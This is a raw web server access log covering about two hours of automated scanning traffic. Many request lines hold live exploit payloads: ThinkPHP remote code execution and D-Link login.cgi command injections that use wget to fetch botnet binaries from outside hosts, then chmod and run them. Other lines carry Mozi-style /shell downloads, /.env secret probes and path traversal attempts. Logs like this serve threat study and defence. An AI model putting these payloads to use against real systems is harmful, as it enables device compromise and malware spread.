188.217.2.122 - - [01/Feb/2020:04:00:11 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
58.187.241.208 - - [01/Feb/2020:04:01:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.146.50 - - [01/Feb/2020:04:02:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.126.205.92 - - [01/Feb/2020:04:04:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
37.49.231.113 - - [01/Feb/2020:04:04:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
37.49.231.113 - - [01/Feb/2020:04:04:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
37.49.231.113 - - [01/Feb/2020:04:04:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
37.49.231.113 - - [01/Feb/2020:04:04:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
37.49.231.113 - - [01/Feb/2020:04:04:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
37.49.231.113 - - [01/Feb/2020:04:04:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
37.49.231.113 - - [01/Feb/2020:04:04:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
37.49.231.113 - - [01/Feb/2020:04:04:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
37.49.231.113 - - [01/Feb/2020:04:04:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
1.54.245.139 - - [01/Feb/2020:04:05:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
181.114.148.82 - - [01/Feb/2020:04:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
183.80.116.14 - - [01/Feb/2020:04:10:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.254.59.113 - - [01/Feb/2020:04:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
80.26.154.92 - - [01/Feb/2020:04:10:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.154.119.9 - - [01/Feb/2020:04:11:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
3.8.174.239 - - [01/Feb/2020:04:12:01 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
91.189.163.209 - - [01/Feb/2020:04:12:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
45.15.93.131 - - [01/Feb/2020:04:13:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
108.171.108.94 - - [01/Feb/2020:04:13:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.58.74.35 - - [01/Feb/2020:04:13:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
200.115.139.147 - - [01/Feb/2020:04:14:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.97.18.91 - - [01/Feb/2020:04:18:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
58.97.18.91 - - [01/Feb/2020:04:18:12 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
58.97.18.91 - - [01/Feb/2020:04:18:12 +0100] "POST /Admin51f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
62.68.134.77 - - [01/Feb/2020:04:19:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
54.196.72.32 - - [01/Feb/2020:04:20:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Cloud mapping experiment. Contact research@pdrlabs.net"
1.53.116.63 - - [01/Feb/2020:04:22:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
3.124.206.190 - - [01/Feb/2020:04:24:29 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
13.56.77.247 - - [01/Feb/2020:04:24:43 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
54.180.117.32 - - [01/Feb/2020:04:25:02 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
73.245.127.219 - - [01/Feb/2020:04:26:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.248.174.253 - - [01/Feb/2020:04:27:41 +0100] "GET ../../proc/ HTTP" 400 329 "-" "-"
51.254.59.113 - - [01/Feb/2020:04:27:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
61.19.155.20 - - [01/Feb/2020:04:29:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.111.41 - - [01/Feb/2020:04:29:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
170.238.36.66 - - [01/Feb/2020:04:31:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
94.51.72.64 - - [01/Feb/2020:04:32:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
13.53.64.14 - - [01/Feb/2020:04:32:46 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
42.117.86.4 - - [01/Feb/2020:04:33:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
18.228.24.3 - - [01/Feb/2020:04:34:27 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
5.250.131.216 - - [01/Feb/2020:04:34:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.248.174.253 - - [01/Feb/2020:04:36:26 +0100] "GET ../../proc/ HTTP" 400 329 "-" "-"
42.113.229.125 - - [01/Feb/2020:04:36:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
86.109.43.27 - - [01/Feb/2020:04:37:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.251.63.79 - - [01/Feb/2020:04:37:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.17.27.187 - - [01/Feb/2020:04:37:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.141.219 - - [01/Feb/2020:04:37:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.214.130.69 - - [01/Feb/2020:04:37:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
54.77.25.17 - - [01/Feb/2020:04:38:37 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
18.144.24.55 - - [01/Feb/2020:04:39:32 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
52.209.210.194 - - [01/Feb/2020:04:40:20 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
129.204.123.115 - - [01/Feb/2020:04:41:07 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.204.123.115 - - [01/Feb/2020:04:41:07 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.204.123.115 - - [01/Feb/2020:04:41:08 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.204.123.115 - - [01/Feb/2020:04:41:09 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.204.123.115 - - [01/Feb/2020:04:41:10 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.204.123.115 - - [01/Feb/2020:04:41:10 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.204.123.115 - - [01/Feb/2020:04:41:11 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.204.123.115 - - [01/Feb/2020:04:41:11 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.204.123.115 - - [01/Feb/2020:04:41:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
89.248.174.253 - - [01/Feb/2020:04:41:27 +0100] "GET ../../proc/ HTTP" 400 329 "-" "-"
103.41.146.158 - - [01/Feb/2020:04:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
54.180.117.32 - - [01/Feb/2020:04:43:25 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
42.117.190.140 - - [01/Feb/2020:04:48:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.220.98.192 - - [01/Feb/2020:04:50:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
18.237.70.93 - - [01/Feb/2020:04:50:29 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
183.80.202.160 - - [01/Feb/2020:04:51:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
3.10.226.145 - - [01/Feb/2020:04:53:40 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
202.101.190.110 - - [01/Feb/2020:04:54:17 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.101.190.110 - - [01/Feb/2020:04:54:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.19.236.108 - - [01/Feb/2020:04:54:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
54.77.25.17 - - [01/Feb/2020:04:54:41 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
139.205.200.28 - - [01/Feb/2020:04:54:44 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
52.14.98.53 - - [01/Feb/2020:04:55:40 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
187.10.164.135 - - [01/Feb/2020:04:57:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
187.10.164.135 - - [01/Feb/2020:04:57:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
181.138.197.193 - - [01/Feb/2020:05:00:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
18.231.143.3 - - [01/Feb/2020:05:01:02 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
91.189.163.209 - - [01/Feb/2020:05:04:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
77.31.254.47 - - [01/Feb/2020:05:05:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
27.141.200.95 - - [01/Feb/2020:05:06:11 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
13.56.77.247 - - [01/Feb/2020:05:08:31 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
13.48.25.174 - - [01/Feb/2020:05:09:00 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
42.117.231.26 - - [01/Feb/2020:05:11:00 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
2.134.183.37 - - [01/Feb/2020:05:11:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
72.27.90.6 - - [01/Feb/2020:05:12:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.53.83.59 - - [01/Feb/2020:05:16:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
93.107.91.29 - - [01/Feb/2020:05:17:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
93.107.91.29 - - [01/Feb/2020:05:17:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
78.189.229.95 - - [01/Feb/2020:05:17:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
54.180.117.32 - - [01/Feb/2020:05:17:47 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
31.215.12.47 - - [01/Feb/2020:05:18:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
187.155.167.105 - - [01/Feb/2020:05:19:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.133.138.199 - - [01/Feb/2020:05:19:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
188.217.2.122 - - [01/Feb/2020:05:19:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
74.63.255.178 - - [01/Feb/2020:05:22:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
194.223.34.209 - - [01/Feb/2020:05:24:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
117.1.82.97 - - [01/Feb/2020:05:24:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.112.190 - - [01/Feb/2020:05:24:39 +0100] "GET / HTTP/1.1" 200 1229 "https://fitodar.com.ua/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
46.118.112.190 - - [01/Feb/2020:05:24:39 +0100] "GET / HTTP/1.1" 200 1229 "https://fitodar.com.ua/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
46.118.112.190 - - [01/Feb/2020:05:24:40 +0100] "GET / HTTP/1.1" 200 1229 "https://fitodar.com.ua/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
31.163.13.111 - - [01/Feb/2020:05:30:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
84.215.58.5 - - [01/Feb/2020:05:31:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
206.189.237.232 - - [01/Feb/2020:05:31:49 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
1.53.97.34 - - [01/Feb/2020:05:36:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
15.222.1.201 - - [01/Feb/2020:05:39:20 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
51.68.70.66 - - [01/Feb/2020:05:40:13 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
52.209.210.194 - - [01/Feb/2020:05:41:24 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
183.80.15.136 - - [01/Feb/2020:05:41:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.154.130.188 - - [01/Feb/2020:05:42:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
112.72.77.91 - - [01/Feb/2020:05:43:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
61.246.33.29 - - [01/Feb/2020:05:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
2.132.145.46 - - [01/Feb/2020:05:44:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.209.70 - - [01/Feb/2020:05:44:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.241.208 - - [01/Feb/2020:05:47:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.158.255.58 - - [01/Feb/2020:05:47:46 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
37.105.77.164 - - [01/Feb/2020:05:49:05 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
